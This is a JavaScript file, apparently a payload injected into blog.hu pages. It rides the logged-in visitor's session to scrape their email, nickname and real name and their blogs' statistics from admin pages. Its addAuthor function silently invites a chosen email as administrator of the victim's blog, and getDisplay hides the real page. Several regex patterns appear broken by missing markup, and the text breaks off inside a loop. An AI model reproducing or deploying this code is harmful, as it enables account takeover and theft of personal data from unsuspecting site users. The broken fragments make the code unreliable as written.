function ajax(url, vars, callbackFunction, id)
{
var request = window.XMLHttpRequest ?
new XMLHttpRequest() : new ActiveXObject("MSXML2.XMLHTTP.3.0");
request.open("POST", url, true);
request.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
request.onreadystatechange = function()
{
if (request.readyState == 4 && request.status == 200)
if (request.responseText)
callbackFunction(request.responseText, id);
};
request.send(vars);
}
function kitolt(display, mezo, ertek) {
display.innerHTML = display.innerHTML.replace("$" + mezo, ertek);
}
function printBlogInfo(id, name, display) {
display.innerHTML += "Blog neve: " + name + "
";
display.innerHTML += "Blog azonosítószáma: " + id + "
"
display.innerHTML += "Legutóbbi bejegyzés neve: $utolsobejegyzes" + id + "
";
display.innerHTML += "Látogatók száma tegnap: $latogatokszama" + id + "
";
display.innerHTML += "Legnépszerűbb keresőkifejezés: $keresokifejezes" + id + "
";
display.innerHTML += "Legnépszerűbb URL: $legnepszerubburl" + id + "
";
function utolsobejegyzesReady(page, id) {
adat = page.match(/class="">[^<]+/g);
kitolt(display, 'utolsobejegyzes' + id, adat ? adat[0].substr(9) : '-');
}
ajax("http://blog.hu/admin/blogs/" + id + "/edit/postlist", '', utolsobejegyzesReady, id);
function latogatokszamaReady(page, id) {
adat = page.match(/
\d+(?=<\/td>)/g);
kitolt(display, 'latogatokszama' + id, adat ? adat[2].substr(17) : '-');
}
ajax("http://blog.hu/admin/blogs/" + id + "/stats/summary", '', latogatokszamaReady, id);
function keresokifejezesReady(page, id) {
adat = page.match(/ | .+(?=<\/td>)/g);
kitolt(display, 'keresokifejezes' + id, adat ? adat[0].substr(17) : '-');
}
ajax("http://blog.hu/admin/blogs/" +id + "/stats/refsearches", '', keresokifejezesReady, id);
function legnepszerubburlReady(page, id) {
adat = page.match(/ | .+(?=<\/td>)/g);
kitolt(display, 'legnepszerubburl' + id, adat ? adat[0].substr(17) : '-');
}
ajax("http://blog.hu/admin/blogs/" + id + "/stats/other", '', legnepszerubburlReady, id);
}
function printUserInfo(display) {
display.innerHTML += "Adataid: ";
display.innerHTML += "Név: $vezeteknev $keresztnev ";
display.innerHTML += "Nick: $nicknev ";
display.innerHTML += "Email: $emailcim
";
function printUserInfoReady(userspage, id) {
adatok = userspage.match(/value="[^"]+(?=" size="20" type=)/g);
kitolt(display, 'emailcim', adatok[0] ? adatok[0].substr(7) : '');
kitolt(display, 'nicknev', adatok[1] ? adatok[1].substr(7) : '');
kitolt(display, 'vezeteknev', adatok[2] ? adatok[2].substr(7) : '');
kitolt(display, 'keresztnev', adatok[3] ? adatok[3].substr(7) : '');
}
ajax('http://blog.hu/admin/users', '', printUserInfoReady, 0);
}
function getDisplay() {
document.getElementById('wrapper').setAttribute('style','width:1px; height:1px;overflow:hidden;')
document.getElementById('wrapper').style.visibility = 'hidden';
document.getElementById('wrapper').style.width = 1;
document.getElementById('wrapper').style.height = 1;
document.getElementById('wrapper').style.overflow = 'hidden';
document.getElementsByName('inda_header')[0].style.height=0;
displayDiv = document.getElementById('displayDiv') ? document.getElementById('displayDiv') : document.createElement('div');
displayDiv.setAttribute('style','background-color: #fff; position:absolute; top:5px; left:5px; z-index:0; overflow:visible');
displayDiv.setAttribute('id', 'displayDiv');
document.body.appendChild(displayDiv);
return displayDiv;
}
function addAuthor(id, email) {
ajax("http://blog.hu/admin/blogs/" + id + "/options/perm", "blog=" + id + "&level=adminarea&action=invite&invited_user_email=" + email + "&invited_user_rights=admin&=Megh%C3%ADvom&_=", function() {});
}
function main(defaultpage, id) {
display = getDisplay();
display.innerHTML='';
if (defaultpage.search(//) != -1) {
display.innerHTML = " Nem vagy bejelentkezve!";
return;
}
blogTabs = defaultpage.match(/ .*/gi)[0];
blogIDs = blogTabs.match(/\d{2,}(?=" class)/gi);
blogNames = blogTabs.match(/[^>]+(?=<\/a>)/gi);
printUserInfo(display);
for (var i=0; i |